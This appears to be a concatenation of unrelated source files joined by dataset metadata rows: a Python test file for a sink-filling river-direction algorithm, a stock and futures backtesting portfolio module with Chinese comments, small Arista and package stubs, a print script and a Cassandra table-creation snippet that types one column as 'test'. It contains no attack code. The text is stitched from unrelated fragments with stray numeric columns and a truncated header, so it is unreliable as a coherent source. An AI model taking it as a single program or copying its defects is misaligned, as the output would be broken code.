"Basic Algorithm 4 call doesn't return expected river directions")
def testCallWithLSMask(self):
"""Test a call to fill_sinks using algorithm 4 and a land sea mask"""
dummy_ts = np.empty((1,1),dtype=np.int32)
next_lat_indices = np.empty((10,10),dtype=np.int32)
next_lon_indices = np.empty((10,10),dtype=np.int32)
fill_sinks_wrapper.fill_sinks_cpp_func(self.wrapped_input_array,4,True,self.ls_mask,False,False,dummy_ts,
False,0.0,next_lat_indices,next_lon_indices,self.rdirs,
self.catchment_nums_in) #@UndefinedVariable
np.testing.assert_array_equal(self.catchment_nums_in,self.expected_catchment_num_wrapped_output,
"Fill sinks algorithm 4 with land sea mask doesn't produce expected river catchments")
np.testing.assert_array_equal(self.rdirs,self.expected_wrapped_rdirs_output,
"Fill sinks algorithm 4 with land sea mask doesn't produce expected river direction results")
np.testing.assert_array_equal(self.wrapped_input_array, self.expected_wrapped_array_output,
"Fill sinks algorithm 4 with land sea mask unexpected changes orography")
def testCallWithLSMaskPreferNonDiagonalsInSettingInitialFlowDirections(self):
"""Test a call to fill_sinks using algorithm 4, a land sea mask and preferring non-diagonals in setting intitial flow directions"""
dummy_ts = np.empty((1,1),dtype=np.int32)
next_lat_indices = np.empty((10,10),dtype=np.int32)
next_lon_indices = np.empty((10,10),dtype=np.int32)
fill_sinks_wrapper.fill_sinks_cpp_func(self.wrapped_input_array,4,True,self.ls_mask,False,False,dummy_ts,
False,0.0,next_lat_indices,next_lon_indices,self.rdirs,
self.catchment_nums_in,True) #@UndefinedVariable
np.testing.assert_array_equal(self.catchment_nums_in,self.expected_catchment_num_wrapped_output,
"Filling sinks algorithm 4 with land sea mask and prefering non-diagonal flow"
"directions in the initial setup doesn't produce expected catchment areas")
np.testing.assert_array_equal(self.rdirs,self.expected_wrapped_rdirs_output_initially_prefer_non_diags,
"Filling sinks algorithm 4 with land sea mask and prefering non-diagonal flow"
"directions in the initial setup doesn't produce expected river direction results")
np.testing.assert_array_equal(self.wrapped_input_array, self.expected_wrapped_array_output,
"Fill sinks algorithm 4 with land sea mask unexpected changes orography")
def testBasicCallwithBothTrueSinkAndFormerTrueSinks(self):
"""Test a call to fill_sinks using algorithm 4 including both active and inactive true sinks"""
dummy_ls = np.empty((1,1),dtype=np.int32)
next_lat_indices = np.empty((10,10),dtype=np.int32)
next_lon_indices = np.empty((10,10),dtype=np.int32)
fill_sinks_wrapper.fill_sinks_cpp_func(self.input_array,4,False,dummy_ls,False,True,
self.true_sink_and_former_true_sinks_input_array,
False,0.0,next_lat_indices,next_lon_indices,
self.rdirs,self.catchment_nums_in) #@UndefinedVariable
np.testing.assert_array_equal(self.catchment_nums_in,
self.expected_catchment_num_output_with_true_and_former_true_sinks,
"Basic Algorithm 4 call (with true and former true sinks) unexpectedly"
" changes catchments")
np.testing.assert_array_equal(self.input_array, self.expected_output_array,
"Basic Algorithm 4 call (with true and former true sinks) unexpectedly"
" changes orography")
np.testing.assert_array_equal(self.rdirs,self.expected_rdirs_output_with_true_and_former_true_sinks,
"Basic Algorithm 4 call (with true and former true sinks) doesn't return"
" expected river directions")
def testLSCallwithFormerTrueSinkWrapped(self):
"""Test a call to fill_sinks using algorithm 4 including an inactive true sink"""
next_lat_indices = np.empty((10,10),dtype=np.int32)
next_lon_indices = np.empty((10,10),dtype=np.int32)
fill_sinks_wrapper.fill_sinks_cpp_func(self.wrapped_input_array,4,True,self.ls_mask,False,True,
self.former_true_sinks_input_array,
False,0.0,next_lat_indices,next_lon_indices,
self.rdirs,self.catchment_nums_in) #@UndefinedVariable
np.testing.assert_array_equal(self.catchment_nums_in,self.expected_catchment_num_wrapped_output,
"Fill sinks algorithm 4 with land sea mask (and a former true sink) doesn't"
" produce expected river catchments")
np.testing.assert_array_equal(self.rdirs,self.expected_wrapped_rdirs_output_with_former_sink,
"Fill sinks algorithm 4 with land sea mask (and a former true sink) doesn't"
" produce the expected river direction results")
np.testing.assert_array_equal(self.wrapped_input_array, self.expected_wrapped_array_output,
"Fill sinks algorithm 4 with land sea mask (and a former true sink) unexpected"
" changes orography")
def testLSCallWithBothTrueSinkOnSlopeAndFormerTrueSinkWrapped(self):
"""Test a call to fill_sinks using algorithm 4 including both an active (on a slope) and an inactive true sinks"""
next_lat_indices = np.empty((10,10),dtype=np.int32)
next_lon_indices = np.empty((10,10),dtype=np.int32)
fill_sinks_wrapper.fill_sinks_cpp_func(self.wrapped_input_array_with_slope,4,True,self.ls_mask,
False,True,self.wrapped_current_and_former_true_sinks_input_array,
False,0.0,next_lat_indices,next_lon_indices,
self.rdirs,self.catchment_nums_in,True) #@UndefinedVariable
np.testing.assert_array_equal(self.catchment_nums_in,
self.expected_wrapped_catchment_nums_with_current_sink_on_slope_and_former_sinks,
"Fill sinks algorithm 4 with land sea mask and prefering non-diagonal flow"
" directions in the initial setup with both true sinks on slopes and former"
" true sinks doesn't produce expected catchment numbers")
np.testing.assert_array_equal(self.rdirs,
self.expected_wrapped_rdirs_output_with_current_sink_on_slope_and_former_sinks,
"Fill sinks algorithm 4 with land sea mask and prefering non-diagonal flow"
" directions in the initial setup with both true sinks on slopes and former"
" true sinks doesn't produce expected river direction results")
np.testing.assert_array_equal(self.wrapped_input_array_with_slope, self.wrapped_output_array_with_slope,
"Fill sinks algorithm 4 with land sea mask and prefering non-diagonal flow"
" directions in the initial setup with both true sinks on slopes and former"
" true sinks unexpectedly changes orography")
if __name__ == "__main__":
#import sys;sys.argv = ['', 'Test.testName']
unittest.main()
| 76.379747
| 139
| 0.444629
| 8,728
| 54,306
| 2.677704
| 0.026237
| 0.107398
| 0.127594
| 0.13521
| 0.931454
| 0.915194
| 0.899748
| 0.886312
| 0.881991
| 0.869454
| 0
| 0.168956
| 0.400674
| 54,306
| 710
| 140
| 76.487324
| 0.549114
| 0.038522
| 0
| 0.742251
| 0
| 0
| 0.060593
| 0
| 0
| 0
| 0
| 0
| 0.047308
| 1
| 0.030995
| false
| 0
| 0.004894
| 0
| 0.040783
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
54c31d88e0a7a91e4c3749f6c3a76f66ded1cd2a
| 19,475
|
py
|
Python
|
DQIC/backtesting/portfolio.py
|
bladezzw/DeepQuantInChina
|
ce74a9bf8db91e3545ccc3e7af81f80796a536fa
|
[
"MIT"
] | 8
|
2019-04-14T03:05:19.000Z
|
2020-02-13T18:35:41.000Z
|
DQIC/backtesting/portfolio.py
|
bladezzw/DeepQuantInChina
|
ce74a9bf8db91e3545ccc3e7af81f80796a536fa
|
[
"MIT"
] | null | null | null |
DQIC/backtesting/portfolio.py
|
bladezzw/DeepQuantInChina
|
ce74a9bf8db91e3545ccc3e7af81f80796a536fa
|
[
"MIT"
] | 2
|
2019-05-08T08:23:50.000Z
|
2020-01-23T03:54:41.000Z
|
#!/usr/bin/python
# -*- coding: utf-8 -*-
# portfolio.py
from __future__ import print_function
import datetime
from math import floor
try:
import Queue as queue
except ImportError:
import queue
import numpy as np
import pandas as pd
from backtesting.event import EventFill, EventOrder
from backtesting.performance import create_sharpe_ratio, create_drawdowns
class Portfolio(object):
"""
The Portfolio class handles the positions and market
value of all instruments at a resolution of a "bar",
i.e. secondly, minutely, 5-min, 30-min, 60 min or EOD.
The positions DataFrame stores a time-index of the
quantity of positions held.
The holdings DataFrame stores the cash and total market
holdings value of each symbol for a particular
time-index, as well as the percentage change in
portfolio total across bars.
"""
def __init__(self, bars, events, start_date, initial_capital=100000.0, lever = 1):
"""
Initialises the portfolio with bars and an event queue.
Also includes a starting datetime index and initial capital
(USD unless otherwise stated).
Parameters:
bars - The DataHandler object with current market data.
events - The Event Queue object.
start_date - The start date (bar) of the portfolio.
initial_capital - The starting capital in USD.
"""
self.bars = bars
self.events = events
self.symbol_list = self.bars.symbol_list
self.start_date = start_date
self.initial_capital = initial_capital
self.all_positions = []
self.current_positions = dict((k, v) for k, v in [(s, 0) for s in self.symbol_list])
self.all_holdings = []
self.current_holdings = self.construct_current_holdings()
def construct_current_holdings(self):
"""
This constructs the dictionary which will hold the instantaneous
value of the portfolio across all symbols.
"""
d = dict((k, v) for k, v in [(s, 0.0) for s in self.symbol_list])
d['cash'] = self.initial_capital
d['commission'] = 0.0
d['signal'] = 0
d['total'] = self.initial_capital
return d
def update_timeindex(self, event):
"""
Adds a new record to the positions matrix for the current
market data bar. This reflects the PREVIOUS bar, i.e. all
current market data at this stage is known (OHLCV).
Makes use of a MarketEvent from the events queue.
"""
latest_datetime = self.bars.get_latest_bar_datetime(self.symbol_list[0])
# Update positions
# ================
dp = dict((k, v) for k, v in [(s, 0) for s in self.symbol_list])
# e.g. dp = {'000001': 0, '000001.SH': 0}
dp['datetime'] = latest_datetime
# e.g. {'000001': 0, '000001.SH': 0, 'datetime': Timestamp('2010-08-06 00:00:00')}
for s in self.symbol_list:
dp[s] = self.current_positions[s]
# {'000001': 0, '000001.SH': 0, 'datetime': Timestamp('2010-08-06 00:00:00')}
# Append the current positions
self.all_positions.append(dp)
# Update holdings
# ===============
dh = dict((k, v) for k, v in [(s, 0) for s in self.symbol_list])
dh['datetime'] = latest_datetime
dh['cash'] = self.current_holdings['cash']
dh['commission'] = self.current_holdings['commission']
dh['total'] = self.current_holdings['cash']
dh['signal'] = self.current_holdings['signal']
for s in self.symbol_list:
# Approximation to the real value
market_value = self.current_positions[s] * self.bars.get_latest_bar_value(s, "close")
dh[s] = market_value
dh['total'] += market_value
# Append the current holdings
self.all_holdings.append(dh)
self.current_holdings['signal'] = 0 # reset the signal
# ======================
# FILL/POSITION HANDLING
# ======================
def update_positions_from_fill(self, fill):
"""
Takes a Fill object and updates the position matrix to
reflect the new position.
Parameters:
fill - The Fill object to update the positions with.
"""
# Check whether the fill is a buy or sell
fill_dir = 0
if fill.direction == 'BUY':
fill_dir = 1
if fill.direction == 'SELL':
fill_dir = -1
# Update positions list with new quantities
self.current_positions[fill.symbol] += fill_dir * fill.quantity
def update_holdings_from_fill(self, fill):
"""
Takes a Fill object and updates the holdings matrix to
reflect the holdings value.
Parameters:
fill - The Fill object to update the holdings with.
"""
# Check whether the fill is a buy or sell
fill_dir = 0
if fill.direction == 'BUY':
fill_dir = 1
if fill.direction == 'SELL':
fill_dir = -1
# Update holdings list with new quantities
fill_cost = self.bars.get_latest_bar_value(
fill.symbol, "close"
)
cost = fill_dir * fill_cost * fill.quantity
self.current_holdings[fill.symbol] += cost
self.current_holdings['commission'] += fill.commission
self.current_holdings['cash'] -= (cost + fill.commission)
self.current_holdings['total'] -= (cost + fill.commission)
self.all_holdings[-1]['signal'] = fill_dir
def update_fill(self, event):
"""
Updates the portfolio current positions and holdings
from a FillEvent.
"""
if event.type_ == 'FILL':
self.update_positions_from_fill(event)
self.update_holdings_from_fill(event)
def generate_naive_order(self, signal):
"""
Simply files an Order object as a constant quantity
sizing of the signal object, without risk management or
position sizing considerations.
Parameters:
signal - The tuple containing Signal information.
"""
order = None
symbol = signal.symbol
direction = signal.signal_type
strength = signal.strength
# the quantity of a certain symbol
mkt_quantity = signal.mkt_quantity
cur_quantity = self.current_positions[symbol]
order_type = 'MKT'
if direction == 'LONG' and cur_quantity == 0:
order = EventOrder(symbol, order_type, mkt_quantity, 'BUY')
if direction == 'SHORT' and cur_quantity == 0:
order = EventOrder(symbol, order_type, mkt_quantity, 'SELL')
if direction == 'EXIT' and cur_quantity > 0:
order = EventOrder(symbol, order_type, abs(cur_quantity), 'SELL')
if direction == 'EXIT' and cur_quantity < 0:
order = EventOrder(symbol, order_type, abs(cur_quantity), 'BUY')
return order
def update_signal(self, event):
"""
Acts on a SignalEvent to generate new orders
based on the portfolio logic.
"""
if event.type_ == 'SIGNAL':
order_event = self.generate_naive_order(event)
self.events.put(order_event)
# ========================
# POST-BACKTEST STATISTICS
# ========================
def create_equity_curve_dataframe(self):
"""
Creates a pandas DataFrame from the all_holdings
list of dictionaries.
"""
curve = pd.DataFrame(self.all_holdings)
curve.set_index('datetime', inplace=True)
curve['returns'] = curve['total'].pct_change()
curve['equity_curve'] = (1.0 + curve['returns']).cumprod()
self.ohlcv = self.bars.symbol_data_dict
self.equity_curve = curve
def output_summary_stats(self):
"""
Creates a list of summary statistics for the portfolio.
"""
total_return = self.equity_curve['equity_curve'][-1]
returns = self.equity_curve['returns']
pnl = self.equity_curve['equity_curve']
sharpe_ratio = create_sharpe_ratio(returns, periods=252 * 60 * 6.5)
drawdown, max_dd, dd_duration = create_drawdowns(pnl)
self.equity_curve['drawdown'] = drawdown
self.all_data = pd.concat([self.ohlcv, self.equity_curve], axis=1)
stats = [("Total Return", "%0.2f%%" % ((total_return - 1.0) * 100.0)),
("Sharpe Ratio", "%0.2f" % sharpe_ratio),
("Max Drawdown", "%0.2f%%" % (max_dd * 100.0)),
("Drawdown Duration", "%d" % dd_duration)]
self.all_data.to_csv('equity.csv') # the csv's path is where the process is running
return stats, self.all_data
class Portfolio_For_stock_real(Portfolio):
def __init__(self):
super(Portfolio_For_stock_real, self).__init__()
def generate_naive_order(self, signal):
"""
for real trade
:param signal:
:return:
"""
pass
class Portfolio_For_futures(object):
"""
The Portfolio class handles the positions and market
value of all instruments at a resolution of a "bar",
i.e. secondly, minutely, 5-min, 30-min, 60 min or EOD.
The positions DataFrame stores a time-index of the
quantity of positions held.
The holdings DataFrame stores the cash and total market
holdings value of each symbol for a particular
time-index, as well as the percentage change in
portfolio total across bars.
"""
def __init__(self, bars, events, start_date, initial_capital=100000.0, lever = 1.):
"""
Initialises the portfolio with bars and an event queue.
Also includes a starting datetime index and initial capital
(USD unless otherwise stated).
Parameters:
bars - The DataHandler object with current market data.
events - The Event Queue object.
start_date - The start date (bar) of the portfolio.
initial_capital - The starting capital in USD.
"""
self.bars = bars
self.events = events
self.symbol_list = self.bars.symbol_list
self.start_date = start_date
self.initial_capital = initial_capital
self.lever = lever
self.all_positions = []
self.current_positions = dict((k, v) for k, v in [(s, 0) for s in self.symbol_list])
self.all_holdings = []
self.current_holdings = self.construct_current_holdings()
self.pre_holding_price = {}
self.trade_count = 0
def construct_current_holdings(self):
"""
This constructs the dictionary which will hold the instantaneous
value of the portfolio across all symbols.
"""
d = dict((k, v) for k, v in [(s, 0.0) for s in self.symbol_list])
d['cash'] = self.initial_capital
d['commission'] = 0.0
d['signal'] = 0
d['direction'] = 0
d['total'] = self.initial_capital
return d
def update_timeindex(self, event):
"""
Adds a new record to the positions matrix for the current
market data bar. This reflects the PREVIOUS bar, i.e. all
current market data at this stage is known (OHLCV).
Makes use of a MarketEvent from the events queue.
"""
latest_datetime = self.bars.get_latest_bar_datetime(self.symbol_list[0])
# Update positions
# ================
dp = dict((k, v) for k, v in [(s, 0) for s in self.symbol_list])
# e.g. dp = {'000001': 0, '000001.SH': 0}
dp['datetime'] = latest_datetime
# e.g. {'000001': 0, '000001.SH': 0, 'datetime': Timestamp('2010-08-06 00:00:00')}
for s in self.symbol_list:
dp[s] = self.current_positions[s]
# {'000001': 0, '000001.SH': 0, 'datetime': Timestamp('2010-08-06 00:00:00')}
# Append the current positions
self.all_positions.append(dp)
# Update holdings
# ===============
dh = dict((k, v) for k, v in [(s, 0) for s in self.symbol_list])
dh['datetime'] = latest_datetime
dh['cash'] = self.current_holdings['cash']
dh['commission'] = self.current_holdings['commission']
dh['signal'] = self.current_holdings['signal']
dh['direction'] = self.current_holdings['direction']
dh['total'] = self.current_holdings['cash']
for s in self.symbol_list:
# Approximation to the real value
c = self.bars.get_latest_bar_value(s, "close")
if dh['direction'] == 1:
market_value = self.current_positions[s] * (
(c - self.pre_holding_price[s]) * self.lever + self.pre_holding_price[s])
dh[s] = market_value
dh['total'] += market_value # (拥有在险资产时)动态的总资产= 当前的现金 + 在险资产
self.current_holdings['total'] = dh['total']
elif dh['direction'] == -1:
market_value = - self.current_positions[s] * (
(self.pre_holding_price[s] - c) * self.lever + self.pre_holding_price[s])
dh[s] = market_value
dh['total'] += market_value # (拥有在险资产时)动态的总资产= 当前的现金 + 在险资产
self.current_holdings['total'] = dh['total']
# Append the current holdings
self.all_holdings.append(dh)
self.current_holdings['signal'] = 0 # reset the signal
# ======================
# FILL/POSITION HANDLING
# ======================
def update_positions_from_fill(self, fill):
"""
Takes a Fill object and updates the position matrix to
reflect the new position.
Parameters:
fill - The Fill object to update the positions with.
"""
# Check whether the fill is a buy or sell
fill_dir = 0
if fill.direction == 'BUY':
fill_dir = 1
if fill.direction == 'SELL':
fill_dir = -1
# Update positions list with new quantities
self.current_positions[fill.symbol] = fill_dir * fill.quantity
def update_holdings_from_fill(self, fill):
"""
Takes a Fill object and updates the holdings matrix to
reflect the holdings value.
Parameters:
fill - The Fill object to update the holdings with.
目前只处理单边交易(只买或只卖一个品种)
"""
# Check whether the fill is a buy or sell
# 默认以后都只交易1手,信号出现时,交换多空头寸.
fill_dir = 0
if fill.direction == 'BUY':
fill_dir = 1
# Update holdings list with new quantities
fill_cost = self.bars.get_latest_bar_value(
fill.symbol, "close"
)
cost = fill_dir * fill_cost * fill.quantity
if fill.direction == 'SELL':
fill_dir = -1
fill_cost = self.bars.get_latest_bar_value(
fill.symbol, "close"
)
cost = -fill_dir * fill_cost * fill.quantity
self.current_holdings['commission'] += fill.commission
self.current_holdings[fill.symbol] += cost # 当前持仓价值
self.current_holdings['commission'] += fill.commission # 总共的交易费
self.current_holdings['cash'] = self.current_holdings['total'] - cost - fill.commission
self.current_holdings['total'] -= fill.commission # (买入的时候)总资产:=总资产-交易费
self.current_holdings['direction'] = fill_dir # 持仓方向,当前只处理1个品种的持仓方向
self.all_holdings[-1]['signal'] = fill_dir # 当前只处理1个品种的信号
self.pre_holding_price[fill.symbol] = fill_cost
def update_fill(self, event):
"""
Updates the portfolio current positions and holdings
from a FillEvent.
"""
if event.type_ == 'FILL':
self.trade_count += 1
self.update_positions_from_fill(event)
self.update_holdings_from_fill(event)
def generate_naive_order(self, signal):
"""
Simply files an Order object as a constant quantity
sizing of the signal object, without risk management or
position sizing considerations.
Parameters:
signal - The tuple containing Signal information.
"""
order = None
symbol = signal.symbol
direction = signal.signal_type
strength = signal.strength
# the quantity of a certain symbol
mkt_quantity = signal.mkt_quantity # TODO:以后可以加入自适应买入手数(能买多少买多少)
cur_quantity = self.current_positions[symbol]
order_type = 'MKT'
if direction == 'LONG' and cur_quantity == 0:
order = EventOrder(symbol, order_type, mkt_quantity, 'BUY')
if direction == 'SHORT' and cur_quantity == 0:
order = EventOrder(symbol, order_type, mkt_quantity, 'SELL')
if direction == 'EXIT' and cur_quantity > 0:
order = EventOrder(symbol, order_type, abs(cur_quantity), 'SELL')
if direction == 'EXIT' and cur_quantity < 0:
order = EventOrder(symbol, order_type, abs(cur_quantity), 'BUY')
return order
def update_signal(self, event):
"""
Acts on a SignalEvent to generate new orders
based on the portfolio logic.
"""
if event.type_ == 'SIGNAL':
order_event = self.generate_naive_order(event)
self.events.put(order_event)
# ========================
# POST-BACKTEST STATISTICS
# ========================
def create_equity_curve_dataframe(self):
"""
Creates a pandas DataFrame from the all_holdings
list of dictionaries.
"""
curve = pd.DataFrame(self.all_holdings)
curve.set_index('datetime', inplace=True)
curve['returns'] = curve['total'].pct_change()
curve['equity_curve'] = (1.0 + curve['returns']).cumprod()
self.ohlcv = self.bars.symbol_data_dict
self.equity_curve = curve
def output_summary_stats(self):
"""
Creates a list of summary statistics for the portfolio.
"""
total_return = self.equity_curve['equity_curve'][-1]
returns = self.equity_curve['returns']
pnl = self.equity_curve['equity_curve']
sharpe_ratio = create_sharpe_ratio(returns, periods=252 * 60 * 6.5)
drawdown, max_dd, dd_duration = create_drawdowns(pnl)
self.equity_curve['drawdown'] = drawdown # 这里用当前的总资产/最高价值时候的总资产
self.all_data = pd.concat([self.ohlcv, self.equity_curve], axis=1)
stats = [("Total Return", "%0.2f%%" % ((total_return - 1.0) * 100.0)),
("Sharpe Ratio", "%0.2f" % sharpe_ratio),
("Max Drawdown", "%0.2f%%" % (max_dd * 100.0)),
("Drawdown Duration", "%d" % dd_duration)]
self.all_data.to_csv('equity.csv') # the csv's path is where the process is running
return stats, self.all_data
class Portfolio_For_futures_real(Portfolio_For_futures):
def __init__(self):
super(Portfolio_For_futures, self).__init__()
def update_signal(self, event):
"""
Acts on a SignalEvent to generate new orders
based on the portfolio logic.
"""
if event.type_ == 'SIGNAL':
order_event = self.generate_naive_order(event)
self.events.put(order_event)
def generate_naive_order(self, signal):
"""
for real trade
:param signal:
:return:
"""
pass
| 35.473588
| 101
| 0.598665
| 2,391
| 19,475
| 4.718528
| 0.112505
| 0.036075
| 0.043787
| 0.010636
| 0.932193
| 0.929002
| 0.906931
| 0.893193
| 0.876706
| 0.856852
| 0
| 0.019585
| 0.289499
| 19,475
| 548
| 102
| 35.538321
| 0.795765
| 0.29181
| 0
| 0.825581
| 0
| 0
| 0.064447
| 0
| 0
| 0
| 0
| 0.001825
| 0
| 1
| 0.096899
| false
| 0.007752
| 0.03876
| 0
| 0.174419
| 0.003876
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
49b2dea76bc040d0f0bd7a6b7ce7e5b8aa5c085a
| 137
|
py
|
Python
|
netdev/vendors/arista/arista_eos.py
|
brechtold/netdev
|
89845631aa921a5f78cb33b755295ede61cbc199
|
[
"BSD-3-Clause"
] | null | null | null |
netdev/vendors/arista/arista_eos.py
|
brechtold/netdev
|
89845631aa921a5f78cb33b755295ede61cbc199
|
[
"BSD-3-Clause"
] | null | null | null |
netdev/vendors/arista/arista_eos.py
|
brechtold/netdev
|
89845631aa921a5f78cb33b755295ede61cbc199
|
[
"BSD-3-Clause"
] | null | null | null |
from netdev.vendors.ios_like import IOSLikeDevice
class AristaEOS(IOSLikeDevice):
"""Class for working with Arista EOS"""
pass
| 19.571429
| 49
| 0.751825
| 17
| 137
| 6
| 0.882353
| 0.352941
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.167883
| 137
| 6
| 50
| 22.833333
| 0.894737
| 0.240876
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.333333
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 7
|
49d4670695ed4f441d3f2aa855c8a03bd22db817
| 372
|
py
|
Python
|
cdg/graph/__init__.py
|
dan-zam/cdg
|
f3e31b9dd96e97bc7a4a36c93d0b5318ea9b3d61
|
[
"BSD-3-Clause"
] | 13
|
2018-07-02T17:42:15.000Z
|
2019-09-05T07:36:58.000Z
|
cdg/graph/__init__.py
|
dzambon/cdg
|
733ac7af7919b07c6ac9dae299b3289afd9e7d83
|
[
"BSD-3-Clause"
] | 1
|
2018-07-02T17:18:28.000Z
|
2018-07-02T17:18:28.000Z
|
cdg/graph/__init__.py
|
dzambon/cdg
|
733ac7af7919b07c6ac9dae299b3289afd9e7d83
|
[
"BSD-3-Clause"
] | 3
|
2019-10-30T08:40:15.000Z
|
2020-09-10T07:37:47.000Z
|
# --------------------------------------------------------------------------------
# Copyright (c) 2017-2020, Daniele Zambon, All rights reserved.
# --------------------------------------------------------------------------------
from .graph import *
from .distance import *
from .kernel import *
from .sbm import *
from .delaunay import *
from .conversion import convert
| 37.2
| 82
| 0.416667
| 28
| 372
| 5.535714
| 0.642857
| 0.322581
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.023881
| 0.099462
| 372
| 9
| 83
| 41.333333
| 0.438806
| 0.599462
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
49d784545e5a20b21212e42e9cf7f6dfa4755f60
| 40
|
py
|
Python
|
src/lib/audiodev.py
|
DTenore/skulpt
|
098d20acfb088d6db85535132c324b7ac2f2d212
|
[
"MIT"
] | 2,671
|
2015-01-03T08:23:25.000Z
|
2022-03-31T06:15:48.000Z
|
src/lib/audiodev.py
|
wakeupmuyunhe/skulpt
|
a8fb11a80fb6d7c016bab5dfe3712517a350b347
|
[
"MIT"
] | 972
|
2015-01-05T08:11:00.000Z
|
2022-03-29T13:47:15.000Z
|
src/lib/audiodev.py
|
wakeupmuyunhe/skulpt
|
a8fb11a80fb6d7c016bab5dfe3712517a350b347
|
[
"MIT"
] | 845
|
2015-01-03T19:53:36.000Z
|
2022-03-29T18:34:22.000Z
|
import _sk_fail; _sk_fail._("audiodev")
| 20
| 39
| 0.775
| 6
| 40
| 4.333333
| 0.666667
| 0.461538
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.075
| 40
| 1
| 40
| 40
| 0.702703
| 0
| 0
| 0
| 0
| 0
| 0.2
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
b7022e76c93bf38da1a822857d062b25802b260c
| 51
|
py
|
Python
|
a.py
|
sisui198202/KE-complex_modifications
|
1e24b63ca02c38a842b3a20fbba4dc5d6142ebed
|
[
"Unlicense"
] | null | null | null |
a.py
|
sisui198202/KE-complex_modifications
|
1e24b63ca02c38a842b3a20fbba4dc5d6142ebed
|
[
"Unlicense"
] | null | null | null |
a.py
|
sisui198202/KE-complex_modifications
|
1e24b63ca02c38a842b3a20fbba4dc5d6142ebed
|
[
"Unlicense"
] | null | null | null |
print('tesuto')
print('tesuto')
print('tesuto')
| 7.285714
| 15
| 0.647059
| 6
| 51
| 5.5
| 0.333333
| 1
| 0.969697
| 1.333333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.117647
| 51
| 7
| 16
| 7.285714
| 0.733333
| 0
| 0
| 1
| 0
| 0
| 0.346154
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 8
|
b717e3fb418c75305982f913d9e1b2086339ef8c
| 521
|
py
|
Python
|
L1_Introduction to Data Modeling /test.py
|
yumengdong/Data-Engineer-Nanodegree-Udacity
|
9fff4ccc088263049d5842f89174f335142bcb60
|
[
"MIT"
] | null | null | null |
L1_Introduction to Data Modeling /test.py
|
yumengdong/Data-Engineer-Nanodegree-Udacity
|
9fff4ccc088263049d5842f89174f335142bcb60
|
[
"MIT"
] | null | null | null |
L1_Introduction to Data Modeling /test.py
|
yumengdong/Data-Engineer-Nanodegree-Udacity
|
9fff4ccc088263049d5842f89174f335142bcb60
|
[
"MIT"
] | null | null | null |
query = "CREATE TABLE IF NOT EXISTS songs "
query = query + "(year int, song_title text, artist_name text, album_name text, single boolean, PRIMARY KEY (year, artist_name))"
try:
session.execute(query)
except Exception as e:
print(e)
## TO-DO: Complete the query below
query = "CREATE TABLE IF NOT EXISTS songs "
query = query + "(year int, song_title text, artist_name test, album_name text, single boolean, PRIMARY KEY (year, artist_name))"
try:
session.execute(query)
except Exception as e:
print(e)
| 32.5625
| 129
| 0.723608
| 80
| 521
| 4.6125
| 0.4125
| 0.108401
| 0.086721
| 0.097561
| 0.910569
| 0.910569
| 0.910569
| 0.910569
| 0.910569
| 0.910569
| 0
| 0
| 0.176583
| 521
| 15
| 130
| 34.733333
| 0.86014
| 0.059501
| 0
| 0.833333
| 0
| 0.166667
| 0.591376
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.166667
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b719ab1cb8b7d29fd85c246a59b49a05f11a7d8d
| 10,290
|
py
|
Python
|
main.py
|
poojasrinivass/NLRL
|
aa170a0730752af491cf4cc0a0f0fb66c35ebb3d
|
[
"MIT"
] | null | null | null |
main.py
|
poojasrinivass/NLRL
|
aa170a0730752af491cf4cc0a0f0fb66c35ebb3d
|
[
"MIT"
